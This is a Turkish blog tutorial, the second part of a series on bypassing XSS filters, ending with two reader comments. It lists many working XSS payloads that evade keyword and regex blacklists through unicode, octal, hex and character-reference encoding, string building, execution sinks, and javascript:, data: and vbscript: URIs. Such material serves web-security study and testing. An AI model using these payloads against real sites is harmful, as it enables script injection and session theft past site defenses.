Selam arkadaşlar, bugün Derinlemesine XSS Bypass serimizin ikinci bölümüne geçiyoruz. Bu yazım birinci bölümünün devamı niteliğinde olacaktır. Konunun anlaşılabilmesi için birinci bölümü okumanızı tavsiye ederim. Lafı uzatmadan konuya girelim.
En son yazılımcı abimiz kuralını aşağıdaki gibi oluşturmuştu.
(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C \x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3 B]*?=)
Yazılımcı İmza tabanlı (signature-based) filtrelemeler yaparak alert, javascript, eval vb. kelimeleri engelleyerek komut yürütmeyi önlemeye çalışabilir. İmza tabanlı filtrelemenin mantığı buna dayanmaktadır. Şimdi bu tür filtrelemeleri atlatmak için kullanabileceğimiz bazı alternatiflere göz gezdirelim. Göz gezdirmeden önce ilk yazımda bahsetmiş olduğum büyük küçük harf, kapanış etiketleri olmadan büyük ve küçük harfler, etiketten sonra rastgele dizi, iç içe etiketler ve Null byte kullanarak atlatma yöntemlerini burada deneyebilirsiniz. Bahsettiğim yöntemler ile bypass edemediysek pes etmek yok. Şimdi biliyoruz ki “alert” kelimesi geçen payloadlar bloklanıyor. O zaman unicode karakterlere başvuracağız.
u0061 unicode karakterinin ASCII karşılığı ‘a’ dır.
<script>\u0061lert(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
Unicode karakterlerin ASCII karşılıkları aşağıdaki gibidir:
u0061 = a
u006C = l
u0065 = e
u0072 = r
u0074 = t
Bunuda mı geçiremedik. O zaman ” ( ” , ” 1 ” , ” ) ” karakterlerinin unicode karşılıklarını yazarak ve bu sefer de eval kullanarak deneyebiliriz.
<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
Filtrelenen kalıp (örneğin alert) bir dizi içerisindeyse unicode karakterlere ek olarak birden fazla bypass yöntemi denenebilir. Örneğin:
<img src=x onerror="\u0061lert(1)"/>
Oktal yani sekizli sayı sistemi kullanılabilir. 141’in oktal karşılığı küçük a’dır.
<img src=x onerror="eval('\141lert(1)')"/>
Yahut Hexadecimal yani on altılı sayı sistemleri ile de bypass deneyebiliriz. x61’inin ASCII karşılığı küçük a’dır
<img src=x onerror="eval('\x61lert(1)')"/>
Hexadecimalda olmadıysa pes etmek yok. Onaltılık veya onluk Numerik referans karakterleri kullanabiliriz. (Hexadecimal Numeric Character Reference and Decimal NCR )
Hexadecimal NCR:
<img src=x onerror="alert(1)"/>
Decimal NCR:
<img src=x onerror="alert(1)"/>
Superfluous Escape Characters yöntemi deneyebiliriz. Burada ters slash kullanılarak yasaklı kelimeyi bypass ettirmeye çalışabiliriz.
<img src=x onerror="eval('\a\l\ert\(1\)')"/>
Buraya kadar öğrendiğimiz tüm bypass tekniklerini tek bir payload içerisinde de kullanabiliriz.
<img src=x onerror="\u0065val('\141\u006cert\(1)')"/>
Dizeleri nasıl oluşturacağımızı bilmek, filtreleri atlatmada önemli rol oynar. Örneğin her zaman ki gibi yazılımcımız “alert” anahtar sözcüğünü engellemiştir ancak büyük olasılıkla “ale” + “rt” engellememiş olabilir. Javascript dizeler oluşturmak için kullanışlı çeşitli işlevlere sahiptir. Örneğin:
<img onerror='ale'+'rt'(1)>
/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116)
Kodu yürütmek için örneklerimizde eval ve bazı işlevleri kullandık. Teknik olarak, dizeyi Javascript kodu olarak ayrıştıran işlevlere execution sinks denir. Bu işlevleri analiz etmemizin nedeni basittir. Bunlardan birini kullanabiliyorsak, Javascript komutu çalıştırabiliriz demektir. Aşağıdakiler sadece birkaç execution sinks, tam liste için buraya tıklayabilirsiniz:
setTimeout("JSCode") --> Tüm tarayıcılar
setInterval("JSCode") --> Tüm tarayıcılar
setImmediate("JSCode") --> Internet Explorer 10 ve üzeri
Function("JSCode") --> Bütün tarayıcılar
Exectuion Sinks’in söz dizimi aşağıdaki gibidir:
[ ] . constructor . constructor(alert(1))
[ ] = Obje
Birinci constructor = Dizi
İkinci constructor = Fonksiyon
Parantez içindeki ise XSS payload’ının yer alacağı kısımdır
Yazılımcı abimiz ” javascript: ” kelimesini filtrelediğini düşünelim. Yine ilk başlarda gösterdiğimiz yöntemlerle deneme yapabiliriz.
<object data="JaVaScRiPt:alert(1)">
<object data="javascript:alert(1)">
<object data="java
script:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
Gördüğünüz gibi hiç birinde filtrelenmiş kelimeyi kullanmadık. ” javascript: ” yerine alternatif olarak ” data: ” veya Internet Explorer’a özel olan “vbscript: ” kullanabiliriz.
Data: , farklı ortam türleriyle sunulan küçük veri öğelerinin eklenmesine olanak tanır. Söz dizimi:
data:[<mediatype>][;base64],<data>
Burada bizi ilgilendiren medya tipi text/html ve verilerimizi şifrelememizi sağlayacak olan base64 işlevidir. Örneğin:
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Peki yazılımcı abimiz farkına vardı ve ” data: ” blackliste ekledi. Peki şimdi ne yapacağız? Tabi ki yine öğrendiklerimizi deneyeceğiz ve data kelimesini öğrendiğimiz yöntemlerle bypass etmeye çalışacağız.
<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
Vbscript işlevinide kullanabiliriz ama Internet Explorer’da çalıştığından çok yaygın değildir. VBScript’ tetiklemek için ” vbscript: ” veya ” vbs: ” kullanabiliriz.
Internet Explorer 8’e kadar çalışanlar:
<img src=a onerror="vbscript:msgbox 1"/>
<img src=b onerror="vbs:msgbox 2"/>
Internet Exlorer Edge’ye kadar çalışanlar:
<img src=c onerror="vbs:alert(3)"/>
<img src=d onerror="vbscript:alert(4)"/>
Yazılımcı abimiz ” vbsscript: ” black liste ekledi. Yine öğrendiklerimizi uygulayacağız.
<img src=x onerror="vbscript:alert(1)">
<img src=x onerror="vbccript:alert(1)">
Microsoft bir zamanlar “Script Encoder” diye bir özellik sunmuştu. Bu özellik VBScript ve JScript kodlarımızı gizlememizi sağlıyordu. Tabi bizim camianın kötü yanlarından biri bunu sadece yazılımcılar değil hacker diye tabir ettiğimiz abilerimizde kullanıyor. Bunun için Scripts Encryptor diye bir araç var onu kullanabilirsiniz.
<img src=x onerror="vbscript.Encode:#@~^CAAAAA==Cd+]:`8#OgIAAA==^#~@">
<img src=x language="VBScript.Encode" onerror="#@~^CAAAAA==Cd+]:`8#OgIAAA==^#~@">
<script language="VBScript.Encode">#@~^CAAAAA==Cd+]:`8#OgIAAA==^#~@</script>
XSS Bypass serimin ikinci bölümünüde burada bitiriyorum. Bu bölüm biraz karışık gelebilir. Takıldığınız yer olursa sorabilirsiniz.
İyi günler dilerim
Çok faydalı oldu. Teşekkürlerler.
hocam (“) çift tırnak işaretini nasıl bypass edebilirim acaba?